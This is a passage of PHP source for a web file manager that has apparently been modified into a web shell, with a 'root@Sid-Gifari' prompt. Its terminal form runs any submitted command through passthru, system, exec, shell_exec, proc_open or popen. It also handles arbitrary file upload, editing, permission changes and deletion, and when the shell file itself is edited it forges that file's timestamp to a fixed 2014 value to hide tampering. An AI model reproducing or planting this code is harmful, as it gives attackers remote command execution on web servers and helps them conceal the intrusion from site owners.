'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
